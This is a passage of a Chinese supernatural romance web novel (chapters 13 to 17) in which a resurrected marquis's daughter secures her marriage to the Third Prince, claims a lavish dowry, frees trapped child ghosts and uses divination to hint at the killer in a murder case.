当今皇帝,还是挺开明的。 “你和安家嫡长女是有婚约的,说起来,你还没见过她吧?朕的意思,你找个机会去见她一见,若是喜欢,这婚事就继续,容不得永安侯反对。” “若是你也不喜她柔弱,作废也可。” “京中千金小姐多的是,父皇再为你寻个堪为皇子妃的女子。” 堂堂皇子,还能找不到妻子? 靳朝言开始没说话,似乎在想什么事情。 听皇帝这么说,这才缓缓道:“父皇,永安侯今日来,是说,安大小姐自己不愿意嫁吗?” “对,他是这么说的。” 靳朝言皱眉道:“可是,儿臣和安大小姐是见过的,她并未说起要退婚。” “你们见过?” 皇帝十分意外:“你们何时见过?” 靳朝言犹豫了一下,没说出昨晚上的事情。 一个千金小姐,半夜去酒楼喝酒,这不是光彩的事情,若是说出来,对安槐的名声不好。 别人怎么看安槐就罢了,但是在皇帝面前,还是要注意些。 “就是昨天。”靳朝言折中了一下,也不算欺君:“儿臣在月亮河边办案,安大小姐路过,便聊了两句。” 皇帝一听就来了兴趣。 “这么说,你见着她了,她也见着你了。” 靳朝言点了点头。 皇帝火眼金睛。 “老三,你是不是看上她了?” 靳朝言不卑不亢。 “安大小姐,容貌秀美,落落大方,秀外慧中,端庄爽朗。” “不错不错。”皇帝满意:“朕还从未听你如此夸奖过一个姑娘,看样子你确实喜欢她。” 靳朝言没有否认。 什么喜欢不喜欢。 只能说不讨厌吧。 但是这婚如果非成不可,与其找一个哭爹喊娘,娇滴滴的千金小姐。还真不如安槐这乡下庄子长大的糙丫头,更适合他这边关打滚数年的糙汉子。 有一种,都是和京城格格不入的感觉。 皇帝也是凡人,关心也会八卦。 “听你的意思,她也看中了你。” 靳朝言犹豫一下,还是说:“是。” 皇帝这下彻底放心了。 他对自己这儿子,多少还是有些了解的。 不是孟浪轻浮之人。 也不是虚荣过傲之人。 驻守边关这些年都在军中,身边别说同房侍妾,就连丫鬟都没有一个。 在男女一事上,白纸一张。 若非对方真给出了确定的表示,他不敢说是。 靳朝言迟疑道:“安大小姐昨日明确对儿臣说,期待婚事。所以今日永安侯来求退婚,儿臣想着,是否有什么误会?” 皇帝也沉吟了一下。 “朕看永安侯那样子,倒也不像是有意推诿,也确实哭得情真意切。这样吧,你亲自去一趟侯府,把这事情问清楚。” 强扭的瓜不甜,皇帝也不想促成一对怨偶。 但是,如果郎有情妾有意,那谁也别想拆散。 靳朝言起身行礼。 “儿臣这就去。” 皇帝挥了挥手:“去吧去吧,记得不要空手去。” 人情世故这一块,靳朝言在军中大大咧咧惯了,怕是要差一些。 靳朝言回府准备礼物,准备登门拜访。 此时,安槐哼着歌儿,去给侯夫人请安。 侯夫人刚喝了药睡下,安明珠正在一边陪着。 昨晚事情过于惊悚,永安侯夫妻俩商议了一下。 这事情谁都不能说,只能打落牙齿往肚里咽,然后烂在肚子里。 被逼死的女儿成了厉鬼回来索命。 这不是什么好听的事情。 靳朝言在京城的名声有多凶,他们逼安槐替嫁的名声就会有多坏。 昨晚的事情若是被人知晓,也只是徒增笑谈。说不定还会被言官弹劾,惹恼皇帝。 因此,当听说安槐来请安的时候,侯夫人手一抖,差一点把药碗打翻。 安明珠吓了一跳,连忙扶住。 “娘。”安明珠赶忙拿起帕子擦拭:“您这是怎么了?” 侯夫人有些紧张地抓住安明珠的手:“她来了,她来了。” “安槐来了,我知道呀,她来给目前请安的。” 安明珠眼里透出一丝不屑:“乡下长大的女子,我以为不通世事呢。没想到还有这等心机,一早上赶着来讨好母亲,这嘴脸可真难看。” 要是在昨天,侯夫人可能会附和一句。 但现在,她可不敢附和。 侯夫人哆哆嗦嗦地对丫鬟说:“告诉大小姐,没什么事儿的话,就不必请安了。我今天身体不适,不便见她。” “是。” “还有,还有。”侯夫人忙道:“告诉她,婚事不必着急,侯爷已经进宫,定会尽力。” 丫鬟虽然莫名其妙,但听话去了。 安明珠也莫名其妙。 “娘,你在说什么?” 侯夫人有苦不能说,深深地叹了口气。 “哎。” 安槐在门口等了一会儿,就得来了丫鬟这句话,十分不满。 “告诉母亲,我有正事找她。说几句话的功夫,不耽误她休息。” 不想给她嫁妆? 做梦! 第13章 折骨,搬空库房做嫁妆 侯夫人想装死不见安槐,但这是不行的。 安槐能砸一个芳菲院,就能砸一个清明院。 侯夫人颤颤巍巍起了身,走到窗边。 今日阳光灿烂,明媚的很。 侯夫人偷偷一看。 安槐是有影子的。 和活人无异。 她心里稍微放松了一些。 莫非昨晚真是做梦? 现在的安槐还是个寻常人,三个月后,被害死了才会回来报仇? 要不,弄点黑狗血来试试? 但是她又不敢。 害怕本来只要取消婚事这事情就能过去,若是将她逼急了又弄不死,反而适得其反了。 安槐在院子里一边等,一边四下看看。 只看见墙边站着好几个小孩。 有男有女,一共五人。 年纪大的,有四五岁。 年纪最小的,是个婴儿,看似刚出生的样子,趴在一个小男孩的背上。 阳光灼灼,但院子便有几棵柏树,树荫如伞,可以无论何时都遮挡阳光。 几个孩子都披红着绿,脸色却惨白如雪,没有一点血色。 看他们眉眼,和永安侯有一些相似。 似乎是府里的少爷小姐。 可来来去去的丫鬟婆子小厮,却没有一个管他们。 安槐叫住路过的一个丫鬟。 “你过来一下。” 丫鬟走过来。 “大小姐。” 安槐说:“你头上的发簪卖给我。” 她掏出一块银子。 有钱人家的女子,穿金戴银。 丫鬟没钱,头上插着一根铁做的发簪。 这是平民最常用的廉价发簪,熟铁锻打,粗实简单,不雕花纹,便宜耐用。 丫鬟虽然不明所以,但安槐给的银子,够买她几十个发簪了。 于是赶紧将发簪取下,双手奉上。 安槐拿了发簪,也不戴在自己头上,也不收起来。 她走到柏树前,蹲下身,将发簪插进泥中。 笼罩着柏树的禁锢晃了一下,裂开一条缝来。 这几个小鬼,年纪轻轻就成了鬼,很可能尸体就埋在树下这片泥土地里。他们的魂魄,就被困在此处。 柏树有镇墓困煞的能力,而铁簪像一把利剑,金器肃杀,可破桃木,柏枝,柳枝所设困局。 丫鬟婆子依旧来来往往,无人看见,几个小鬼齐刷刷地看了过来。 最大的一个突然咧开嘴,轻声说:“你是……姐姐?” 那声音幽幽的,似有似无。 安槐将食指竖在嘴边,做了个噤声的动作。 别急,这裂开的缝隙越来越大。 只等暮色降临,他们就能破困而出。 到时候,可就热闹了。 做完这一切,安槐回到房门口。 “母亲,你若要休息,我的事情在这里说也是一样的。” 侯夫人还有点心虚。 “我怕把病气过给你,你就在外面说吧。” 安槐开门见山:“女儿即将要出嫁,想问问这嫁妆,可给我备好了。我想看看我的嫁妆,最好,能让我挑选一些。毕竟,我是侯府嫡长女,要是嫁妆少了,遭人笑话。” 安明珠一听,急了。 直晃侯夫人的手。 安槐能有什么嫁妆? 好东西都是留给她的。 安槐不过是她的一个替身,代替她嫁给三皇子送死的,给再多的钱也是打水漂,给一点意思意思得了。 但侯夫人现在无心管她。 “你……你的婚事有些仓促,嫁妆还未完全准备妥当。我这里有份嫁妆单子,你且看着。” 侯夫人咬了咬牙:“我再让嬷嬷带你去库房,若是有什么看中的,添上就是。放心,你是侯府嫡长女,是侯府的颜面,嫁妆定不会轻了。” 安明珠着急低声道:“母亲!” 你要不要听听你在说什么? 不是说随便糊弄吗? 怎么能让她去库房挑? 家里就那些家底,好东西都给安槐挑走了,她怎么办? 但侯夫人没看安明珠。 她另有算计。 要是安槐嫁人,带着嫁妆走,她当然不舍得。 但现在侯爷已经进宫去求皇帝解除婚约了。 安槐不嫁人,也就不存在所谓的嫁妆,先把她稳住,等事情过去再想办法。 安槐请了个安,得了侯府库房钥匙,心情大悦。 她打开了库房的门。 永安侯府虽然这一代的掌权人没什么能耐,但是家底颇丰,库房里可不少好东西。 路上,她也看了自己的嫁妆单子。 都是些什么破烂。 就这也想糊弄她?门儿都没有。 “这一套,累丝衔珠金凤簪,拿走。” “这一套,赤金猫眼石绞丝镯,拿走。” “这一盘羊脂玉拿走……这个,这个,这个……” “这个,这个,这个……” 从金银头面,到玉器珍宝。从床榻家具,到绸缎衣裳。从瓷器陈设,到书画文房。 当然少不了真金白银。 侯府下人都觉得大小姐疯了。 贪心疯了,也想钱想疯了。 但是这不重要,重要的是,这些东西,安槐不拿,以后也是安明珠的嫁妆。 跟下人没有什么关系。 这是主子的事情,既然侯夫人都同意了,做下人的,操这心干嘛? 最操心的,确实是安明珠。 她见母亲同意了安槐去挑选嫁妆,气呼呼地回房了。 在房里辗转反侧一会儿,满冬匆匆跑来。 “二小姐,不得了了。” 听到这称呼,房明珠就翻了个白眼。 她自从懂事起,就是府里的大小姐,嫡长女。 这两天突然就变了。 母亲要求所有人改口,她突然成了二小姐,真是别别扭扭。 房明珠不耐烦:“怎么了,一惊一乍的?” 满冬急促的说:“大小姐真的去挑嫁妆了,她快把库房都要搬空了。二小姐您喜欢的那几套头面,还有缎子,官窑瓷瓶,全被她搬走了。” “什么?” 房明珠猛的站了起来。 “不行,那可不行,那都是母亲说好留给我的。” 房明珠急匆匆的往外走。 满冬连忙跟上。 “母亲真是糊涂了。”房明珠一边急,一边说:“你快去门口等着,看父亲什么时候回来。母亲糊涂了,父亲定不会让安槐这么放肆。” 满冬匆忙去了。 永安侯从宫里出来却先没回府。 他走到一半,碰见了几个同僚,一见,喊他喝酒去。 永安侯本来心里有事儿,哪里喝的下什么酒。但耐不住都是日常在一起吃吃喝喝的,拒绝再三,还是被拖走了。 这一走,就得至少下午才能醉醺醺地回来了。 安明珠到了库房门口,果然热火朝天。 安槐拿了本册子,拿了支笔,一边吩咐搬,一边做记录。 丫鬟小厮也不知中了什么妖法,格外卖力。 其实什么妖法都没有,安槐打开一箱银子之后,一人发了一块。 “给我做事的人,绝不会亏待了你们。” 主子再有钱,下人都拮据。 安明珠从小受宠,脾气骄纵,对下人傲慢又苛刻。 安槐虽然看着凶,可她是对安明珠凶,也不凶下人啊。 还大方给钱,那干活儿为什么不卖力? 安明珠听着下人一口一个,大小姐,大小姐,简直气疯了。 她站在院子中,大喊了一声。 “都给我停下!不许搬了!” 第14章 折骨,未婚夫上门要说法 这一嗓子把下人都给镇住了,纷纷停下手里的活儿,为难地看着安槐。 安槐正搬的起劲儿呢,被安明珠一打断,不高兴了。 她大步走过去,抬起手来。 啪! 给了安明珠一个耳光。 清脆的一声响。 众人都惊呆了。 安明珠头往一侧一偏,脸上一个明显的巴掌印。 安槐觉得十分刺眼。 又抬手。 啪! 对称了,这下舒服了。 安槐怀疑自己多少是有一点强迫症的。 安明珠长这么大,在家中要风得风,要雨得雨,谁都不敢在她面前说一句重话,何曾挨过打? 她整个人都呆住了,一时根本反应不过来。 安槐烦躁说:“狗叫什么,吵死了,没见我在忙吗?” 安明珠这才像是回过神来一样。 她尖叫一声,先捂住左边的脸。 然后感觉不对,右边也痛,又捂住右边的脸。 “你敢打我,你竟然敢打我?安槐,你以为你自己是个什么东西,竟然敢打我?” 安槐开始撸袖子。 吵吵吵,吵死了。 “我是你姐,父亲忙公务,母亲身体不好,长姐代为教导小妹,天经地义!” 安槐逼近一步。 安明珠吓得往后退了两步。 她虽然骄纵却不傻。 看得出来安槐不是说说而已,是真要打她,也是真敢打她。 好汉不吃眼前亏,安槐可是庄家院子长大的,一身蛮力,刚才两巴掌差点把她头打掉了,火辣辣的痛,这会儿都已经肿了起来。 “我要去告诉娘,让娘教训你。” 安明珠撂下一句狠话,转头就跑。 刚跑到院子门口,差一点撞在管家身上。 “二小姐,二小姐,您慢点。” 管家连忙扶住安明珠。 安明珠正要抱怨,一抬头,看见管家身后跟着几个人。 为首的一个。身材高大挺拔,气势不凡,五官俊俏无比,只是脸上有一道疤,但也不影响整体,更显得男儿气概。 安明珠当下脸就一红。 不过她现在两边脸都是又红又肿的,再红一点也看不出来。 安明珠连忙站住,有些不好意思地再看一眼。 这是什么人,怎么跑到这里来了? 靳朝言面色冷淡看了一眼安明珠。 还有她脸上明晃晃的巴掌印。 管家连忙介绍:“殿下,这位是府里的二小姐。” “这位,是三皇子殿下。” 二小姐,就是那个一直养尊处优在永安侯府,永安侯夫妻舍不得嫁给自己,才去庄子里临时找安槐来顶替的,大家都以为是他未婚妻的女人? 身材挺匀称,脸却那么胖?靳朝言看都懒得多看她一眼。 安明珠心里一惊,赶忙给靳朝言行礼。 “给殿下请安。” “不必。” 靳朝言直接越过安明珠,走了过去。 安槐正在往下撸袖子。 “殿下,您怎么来了?”安槐挺高兴。 “本王是来找你的,有些事情想问你。下人说,侯爷不在府里,侯夫人病了,本王就让管家带我来寻你了。” 靳朝言一看:“这是在做什么?” “收拾嫁妆呢。”安槐大大咧咧:“殿下您也看看,要是侯府库房您有什么喜欢的,我就收拾出来当嫁妆,到时候送给你。” “……” 靳朝言一时无言以对。 院子里的众人都在心里也有许多话要说。 这对吗? 安明珠不敢在靳朝言面前说不让安槐搬嫁妆的事情,她现在心思也不在此。 她偷偷的拽了拽管家的袖子。 “王伯。” “二小姐。” “这是三皇子,就是跟侯府有婚约的三皇子?” “是?” “他……”安明珠迟疑了一下:“他也不像大家说的那般啊。” 什么边关杀神,凶神恶煞,黑脸獠牙,一身横肉……这究竟是谁传出来的。 安明珠偷偷再看一眼靳朝言。 虽然脸上有疤,可靳朝言这脸这身材这气度,比她见过的其他世家公子优秀百倍。 要早知道,这婚约为什么要推? 皇子妃啊,那可是求也求不来的位置。 安明珠看着靳朝言和安槐说话,眼睛都要红了。 王伯解释:“小的也没见过三皇子,民间描述多是以讹传讹,是有些夸张了。” 何止是夸张,安明珠要气死。 “但是。”王伯强调:“三皇子确实是从边关来,杀人无数。身体……也不大好,这是不会错的。您想,要真是好姻缘,侯爷夫人怎么会不紧着您呢?” 王伯这么一说,安明珠的心情总算是好了一些。 她跺了跺脚,走了。 等着吧,等安槐被打死了,就知道这婚事为什么她不要了。 还有三天就是婚礼,那个千金小姐的婚事这么仓促,一看安槐就是凑数的。 得意不了几天了。 没人在意安明珠是什么心情,是怎么走的。 靳朝言觉得自己是个男人,不能还没有安槐大方。 “本王府里的库房,也有些好东西。”靳朝言说:“等过几日你进了王府,都会交在你手里。” 当家主母,就是这个意思。 安槐也不在乎,她将手中册子交给柳嬷嬷。 “柳嬷嬷,你盯着把这些都给我搬走。殿下你找我有事,随我来吧。” 总不能在库房门口说话。 安槐将靳朝言带去了芳菲院,请他进堂屋说话,让丫鬟上茶。 一个闺中小姐,让外男进院子,本来是不合规矩的。 但安槐就是规矩。 何况两人有婚约在身,不日即将成亲,也就无所谓了。 靳朝言的手下在院子里等候,芳菲院的丫鬟上了茶之后,也退了出去。 “殿下,你要跟我说什么?” 正好,安槐也有话要跟靳朝言说。 婚后调教虽然有理有据,但有些事情,婚前说好更好。 靳朝言一看安槐这态度,就知道永安侯去退婚这事情,确实有问题。 他也不拐弯抹角。 “今日一早,本王就被召唤入宫。父皇说,永安侯去求他,要退了我们的婚事。” 安槐正要端茶的手一顿。 靳朝言察言观色,觉得这事情安槐怕是知情。 “但昨日安小姐却说,心悦本王,想要嫁给本王……所以,本王想着,来见你一面,将话说清楚。” “本王从不强人所难,若是安小姐有什么难处,大可以直接同本王说明,本王绝不会做出强取豪夺之事。” 靳朝言言下之意。 只要你摇头,我立刻去退婚。 婚姻大事,我还能强迫不成?我又不是山大王。 安槐这才知道永安侯一早出府干嘛去了,估计是昨晚上闹的吓坏了,以为她后来说愿意嫁是说反话呢。 “安小姐。”靳朝言看着安槐:“永安侯退婚,可是你的意思?” 安槐脸上闪过一抹尴尬神色。 但立刻否认:“当然不是!” 第15章 折骨,为我守身 靳朝言有些疑惑。 “那是为何?” “我不知道。”安槐干脆利落地将责任都推出去:“可能是……因为他们本来觉得我好欺负,所以应了这门婚事。现在发现,我脾气性格都不好,怕逼我出嫁成了皇子妃之后,会权势压人,心狠手辣地报复吧?” 虽然内情不是这样的内情,但事情还就是这么个事情。 靳朝言还是第一次听一个女子用心狠手辣来形容自己,着实有些新鲜。 不由地反问:“那你会吗?” “会。” 安槐脱口而出。 又觉得有点张扬了,犹豫一下改口。 “应该……会吧。” 靳朝言忍不住笑了一下。 “行,我知道了。永安侯府的家事,我们尚未成婚,我不便插手。但只要确定了你的意愿,我会禀告父皇,婚事照旧。” 安槐发现,靳朝言在自己面前,不再自称本王了。 这大概是把自己当做自己人了吧。 “多谢殿下,不过我也有几个要求,想要在婚前说清楚。” “你说。” “第一,我是乡下村子里长大的,生性爱自由。成婚之后,我希望殿下不要拘着我在院墙之内,允我正常交友出行,自由便利。” 靳朝言点头。 “可以,我在边城十年,那边女子也都和男子一样,经商做工,没有不可抛头露面一说。” “第二,我这人妒忌心重心眼小,一旦和殿下成婚,殿下便不可有别的女人。在外不可寻花问柳,府中侧妃侍妾姨娘,都绝不可有。” 靳朝言有些意外。 他倒没想过这么多,但普天之下,别说贵为皇子,就是寻常殷实人家,也都有妻妾一屋。 他斟酌了一下。 “本王一向无心女色,你这要求也不是不行。只是……我若说了,你就信我?若是我婚后纳妾,你又待如何?” “空口白牙确实不妥,不如殿下你发个誓吧。” 靳朝言一下子被安槐给架了起来,上不上下不下。 安槐笑眯眯看着他。 有种调戏隔壁坟里青葱少年郎的感觉。 “殿下,男子汉大丈夫,一言既出,驷马难追。” 安槐笑的不像个妖怪,像个狐狸:“发个誓吧。” 南来的北往的,走过的路过的,都发个誓吧。 发个誓,不吃亏不上当,名声响当当。 靳朝言只好发了个誓。 “好,我答应你,婚后只有安槐一人,若违此誓……不得……” 话本子里,到了这个时候,姑娘都会扑过去,捂住情哥哥的嘴,感动的眼含热泪说:“不许说,我信你。” 但靳朝言顿了顿,见安槐只是睁大眼睛看着他。 就差没催了。 快说,快说,说毒一点。 “若是我有违此誓,万箭穿心,不得好死。” 靳朝言说完,感觉自己手腕上有一点热。 他看不见,他的手腕脉搏处,从皮肤里血肉中,伸出一条细细绿枝叶,环绕上整个手腕。 在袖子里微光一闪,隐去无踪。 “多谢殿下。”安槐很满意:“不过我也不是不讲道理的人,若有一天殿下有了其他心仪女子,只要跟我说明,我定会成全。” 安槐真不是善妒。 也不是要求靳朝言为她守身如玉。 她和靳朝言又不是情深似海,哪来的醋海情天。 但是没办法,靳朝言身上有纯正浓厚的阴森气息,恶灵环绕。 一旦和旁的女子有了肌肤之亲,活人阳气入体。这阴气,就不纯正了。 男子也不行,活人都不行。 活物也不行。 一旦被碰了,靳朝言就没用了。 安槐是个讲道理的人,如果靳朝言为她守身如玉,甘愿奉养,她也会为他做事。 若是靳朝言有了异心,守不住身。 她就把他,抓!起!来! 强制,献身! 安槐想着就开心。 靳朝言突然觉得有点冷。 他脑子里莫名闪过一个词。 莫非这就是过来人说的,妻管严? 靳朝言脸色微变,心生不悦。 想着,他站了起来。 “既然事情已经明白,本王还有公务在身,我先走了。” 安槐起身相送。 她知道靳朝言说的公务是什么,昨天京城连死两人,都死得诡异离奇。 这案子,估计是落在靳朝言身上查的。 这可不好查啊。 靳朝言走之后,安槐又去了找了一趟侯夫人。 这次也懒得进屋了,让嬷嬷转达。 “去告诉母亲一声,三皇子刚才来了,我们相见甚欢,彼此都很满意,谁也别想搅黄我的婚事。” “还有,我有事出去一趟,不用管我。” 安槐说完就走了。 她还有正事要办。 出府已经过了正午。 安槐找最大的饭馆吃一顿。 要来个包厢,对伙计说:“你们今日供应的菜,捡荤的来十样。” 伙计没惊呆:“好嘞。客人请问您几位?” 几位客人,给上几份碗筷,倒几杯茶。 他看来,肯定是安槐先来,其他人陆续来。 安槐说:“就我自己,赶紧上菜吧,饿了。” 伙计惊呆了。 安槐掏出锭银子放在桌上。 “去呀,没见过胃口好的姑娘啊?分量上可得给足了,别糊弄我。” “是是是。” 伙计同手同脚地走了。 很快菜来了。 伙计送上最后一道菜的时候,桌上已经空了一半。 安槐吃得还挺斯文,就是一盘一盘空,动作不见缓。 伙计难免在心里嘀咕。 真能吃啊。 幸亏是有钱,要是寻常人家,都养不起。 一腹诽着,伙计说:“姑娘,菜齐了。” “行。”安槐点了桌上的几个盘子:“这四道菜,再给我做一份。装食盒我要带走。再装两大碗白米饭,包十个馒头,我一并带走。” 安槐给的钱足够,伙计立刻应了。 半个时辰后,安槐酒足饭饱,左手拎着巨大的食盒,右手拎了一包十个馒头,离开了饭馆。 她并没有回永安侯府,而是往棚户区走去。 有点远,安槐又叫了个马车。 棚户区在京城偏僻的地方,这里是最低下混乱的地方。 聚集了许多流浪汉,无家可归的人,做苦力的,孤儿寡母,老弱病残。 简单的几块木板,几根柱子搭一块草席。 夏天幕天席地,就可以过夜。 这里的人,活一天,算一天。 下午是棚户区最安静的时候。 有力气的都出去做工了,不想做工的也出去讨饭了。 老弱病残在屋子里躺着,睡着就不饿了,也不会出来乱逛。 安槐下了马车,给了车夫一块银子,让他自己回去,她要租车。 然后自己拎着食盒,进了棚户区。 第16章 折骨,六步断凶局 前几天下过雨,大部分地方都已经干了,但棚户区里的路还是难走。 安槐不时停下看看路。 七弯八转的,到了个破旧的茅草屋前。 这是两间茅草屋,门口有石头搭了个简易的灶台,一个男人正在蹲着生火。 炊烟袅袅,灶台上一口破锅,里面咕噜咕噜地热着些米粥。 米粥稀得几乎可以照出人影,锅边上,贴着几块看不出颜色的黑黄饼子。 屋子里,不时传来老太太压抑的咳嗽声。 男人站了起来。 刚才蹲着还不觉得,这一站起来,好像铁塔一般。 他转身看见安槐,皱了眉头。 “你是……” 安槐一身穿着打扮和这里格格不入,一看便是有钱人家的小姐。 安槐开门见山:“你是白寒铁吧。” “你是谁?” “我叫安槐,我想雇你给我做点事情。” “我不认识你。” “但是我认识你。”安槐举了一下手里的东西:“我带了点吃的来,要不,屋里说?” 白寒铁看了看安槐,又看了看自己那个即使白天也昏暗杂乱的窝棚,有点犹豫。 但安槐已经走进去了。 屋子里连个桌子也没有。 安槐也不介意,将食盒放在地上,打开盖子。 香味顿时就飘了出来。 白寒铁感觉安槐有点自来熟了,赶忙也跟了进去。 里面的房间,传来虚弱的声音:“寒铁……是,是谁……咳咳咳,来了……” 是个老妇的声音。 “那是你娘吧。”安槐说:“你看看有什么能吃的,先伺候她吃饭,咱们再谈。” 安槐知道白寒铁有个身体不好的娘亲,也知道他和娘亲相依为命,还知道,白寒铁自己是很能干的,也有一把子力气,人老实胆子大。 如果他一个人,日子不至于这么拮据,可他娘看病吃药的开销十分可观,又拖累了他的时间,这日子,就难过了。 白寒铁心里嘀咕,但想了想家里的稀粥,又看了看安槐的衣服,点了点头。 说句难听的。 他们这样的人家,还有什么可以被骗,被失去的。 白寒铁往米汤里拨了一些米饭泡一泡,又夹了几块软烂的豆腐。 再拿了半个馒头,进了房间。 日常清汤寡水,他娘也吃不了大鱼大肉。 白寒铁安抚了娘亲,走出房间,关上门。 “你也先吃,一边吃,我一边说。” 白寒铁却没动。 “无功不受禄。” “行吧,我想雇你去三石坡挖点东西。” 白寒铁不明白。 三石坡,就是安槐被埋了三百年的地方,三百年前是个乱葬岗,现在就是个荒郊野外的乱石坡。 不过一直有闹鬼的传说,人迹罕至。 那地方有什么可挖的?挖坟吗? “如果一切顺利,今晚就能挖完,我给你一百两银子。有了这笔银子,你娘的病就能治好了,你还能找个院子,雇个婆子照顾她,自己可以安心找活儿干,还能做点小生意。” 一百两啊。 对有钱人来说不过是一只发簪,一件衣服。 但是对穷人来说,是命! 白寒铁声音有些干:“挖什么?” “当然是挖好东西。”安槐补充了一句:“不是伤天害理的事情,但是挖出来的东西你不能跟我抢,要是挖得好,我可以给你加工钱。” 安槐刚说完,房间里又传来压抑的咳嗽声。 “你好好想想。”安槐说:“要是愿意,今天傍晚我在城门口等你,过时不候,过了这村,可就没那店了。” 三百年再往上数,那乱葬岗里埋了多少白骨,多少见得人的,见不得人的好东西。 安槐决定都挖出来,当她的嫁妆。 她在那地方住了三百年,坚定地认为,那就是她的地方。 白寒铁狠狠地心动了。 但是还是不安。 “我不能不明不白地给你做事,你至少要告诉我,你为什么会找我?” “也没什么,就是听人说你孝顺,力气大,也讲义气。而我正好需要一个人干活儿。” 安槐不会告诉他,之所以找他。 是因为三个月前,白寒铁差点被人害了,打昏了就丢在三石坡上,昏迷了一夜,絮絮叨叨地说了不少话。 她那时候虽然还是一具枯骨,不能上来晃他一晃,但是能听见,能看见,感觉得一清二楚。 “天热,东西不能放,不管你答应不答应,这些吃的都送你了” 安槐说完就走了。 留下白寒铁看着几大盘子菜发呆。 房间里,传来他娘唏哩呼噜吃东西的声音。 大夫说了,她娘这病,是富贵病。 得养。 要是养得好,能活二十年没问题。 可对穷人家来说,富贵病,就是要命的病啊。 白寒铁咬了咬牙。 富贵险中求。 穿金戴银的大姑娘都不怕,他怕什么? 安槐出了棚户区,去买东西。 除了马车,她还需要几个大木头箱子。 从乱葬岗挖出来的东西肯定零散得很,总不能都揣在怀里。 安槐看了车厢的空间,买了三个木箱。 再多车厢也装不下了。 买完木箱,发现自己离最晚上出事的回春堂不远。 正好回春堂后门的巷子口。 安槐想了一下。 靳朝言这几天脚不沾地的,就是在忙这件案子。 有些事情,再压也是压不住的。 京城里现在已经什么流言都出来了。 而且越传越离谱,再找不到凶手,什么妖魔鬼怪都出来了。 安槐觉得这样不行。 这样的话,靳朝言哪能静的下心和她成亲? 想着,她走到了回春堂的后门口。 门是锁着的。 安槐拨弄了两下,门开了,她走了进去。 院子还是昨天的样子。 房间门掩着。 尸体自然已经搬走了,悬着尸体的白绫也拿走了。 安槐在屋子转了一圈,视线落在墙角。 墙角有个小洞。 这小洞是给家养的猫狗留的门,一个成年人是绝对过不去的。 就算是六七岁的小孩子,估计也只能过个脑袋。 安槐蹲下身,伸手摸了摸洞口的灰,又走回书桌前。 房间的窗户是半掩着的,风吹进来,硬生生让八月的天冷了下来。 安槐左脚踩坎位,右脚落艮位,踏了一个六步断凶局。 当最后一步落下,青砖地面上,隐隐出现了一副卦象。 第17章 折骨,昔为囚,今为刃 三枚磨得光滑的铜钱从袖子里滑出来,捏在指尖。 安槐拿过书桌上一只常用的狼毫,压在铜钱上。 然后掌心合拢,摇了三下。 松开手。 铜钱落在桌上,连掷六爻。 “坎卦动煞,阴阳倒置,坤阴犯阳,凶手竟然是个女子?” 安槐低声自语。 “卦显游魂归魂,冤仇相报。铜钱落震,巽二宫。巽为风,为年少女子。震为动,为远归。看来这回春堂掌柜,是曾经造了孽,现在来还债啊。” 安槐正要再看,门外传来动静。 靳朝言带人重返案发现场。 到了门口,诸元一看,立刻紧张起来。 “殿下,有人动了门锁!” 他立刻抽出了刀,推门往里走。 安槐挥手从桌上扫过,收起铜钱,然后用手指蘸了蘸桌上半杯凉水,飞快在桌上写了几个字。 然后立刻闪身出了门,掠过一旁矮墙,进了隔壁的院子。 没人在真好,不用吭哧吭哧地爬墙。 安槐刚落地还没站稳,就看见隔壁院子里的小孩儿张大嘴,茫然看着自己。 怎么会有个姐姐,从天上掉下来了。 安槐笑了一下,对小男孩做了个嘘的动作,然后远远地吹了口气。 小男孩的表情一下子就迷糊了,放慢速度眨了一下眼。 安槐快步走出了院子门。 房间里,妇人走了出来,看见孩子站在院子里发呆,不由道:“小宝,怎么了?” “娘。”小宝迷迷糊糊:“刚才突然觉得有点头晕。” 妇人一听立刻紧张的抱住他。 “是不是热着了,赶紧回家,娘给你倒点水喝。” 妇人抱着小宝进了房间,喝了两口水,小宝就不头晕了,妇人也就放了心,哄着睡了。 诸元冲进房间,一个人都没看到。 但是看见桌上有水渍写的几个字。 “昔为囚,今为刃。” “怨女归,命偿命。” 桌上的字迹很快就干了,靳朝言拿了笔。 侍卫连忙倒了点茶水在砚台里,磨了点墨汁。 靳朝言将这两句话写在了纸上。 吹了吹墨迹,又读了一遍。 众人面面相觑。 这是什么意思? 这是谁留下的。 屋子里又检查了一遍,和昨日离开的时候一样,没有被翻动过的痕迹。 不过刚才进来的时候,门是开的,可能有人前后脚地离开了。 不用靳朝言吩咐,诸元便安排:“出去看看,周边的住户是否有看见可疑人物离开。” “是。” 立刻有人出去了。 靳朝言看着桌上已经干透了,消失不见的自己,陷入沉思。 “殿下。”诸元说:“殿下可是在想凶手?” 三起案子,死者的钱财都在,现场也没有被翻动过。 凶手不为求财。 死者都死状凄惨,面上惊恐万分,似乎受了极大惊吓折磨。 从这两点看,很大可能确实是仇杀。 诸元道:“从这字面意思理解,凶手曾经被全修锦囚禁,是个女子,现在回来报仇,要全修锦偿命?” 字面理解,就是这个意思了。 “可是全修锦一个药铺掌柜,能囚禁什么人?”诸元陷入了自己的想象:“写这字的又是什么人?若她是个知情者,为什么不直接报官呢?而是要留下这么一句话?” 诸,十万个为什么,元,一肚子问号。 靳朝言摇了摇头,他没在想这个。 他说:“刚才桌上的字迹,有些眼熟,似乎在哪里见过。” 手下都吓了一跳。 纷纷回忆起来。 一个个看着桌子,恨不得把桌子看一个洞出来。 但是很遗憾,水迹已干,什么痕迹都没有留下。 靳朝言刚才也是惊鸿一瞥,能记住内容已经很不错了。 想了一回,终究还是放弃了。 “杭玉堂安排人在院子里守着,对方可能还会回头。”靳朝言说:“诸元跟我去全家。” 全修锦这个年纪,也是妻儿老小一大家子的年纪。 他们并不住在药铺里,另有宅子。 靳朝言带人上门了解情况。 其实以他的身份,大可以一句话将全家所有人都传去王府。但是他在军中待久了,不会刻意去摆那些身份架子,许多事情也习惯了亲力亲为。 全家正在办丧事。 门口挂着白花,屋里设着灵堂。 靳朝言进了门,出来接待的是全修锦的岳父。 他们这才知道,全修锦是入赘的。 他岳父姓虞,名唤虞永福,回春堂就是虞家的产业。 不过虞永福没有儿子,于是给女儿虞淑玲招了个上门女婿,就是全修锦。 全修锦和虞家女儿成亲后,生了一儿一女。因为是招的上门女婿,两个孩子都是姓虞,如今一个十岁,一个十二岁。 这一家子,也算和乐融融。 如今全修锦突然出事,家中哀痛不已。 人情世故,在这种场面,靳朝言自然也说了几句节哀顺变的话,然后便进入正题。 “你们可知全修锦和什么人有旧怨?特别是招惹了欺辱了什么女子?” 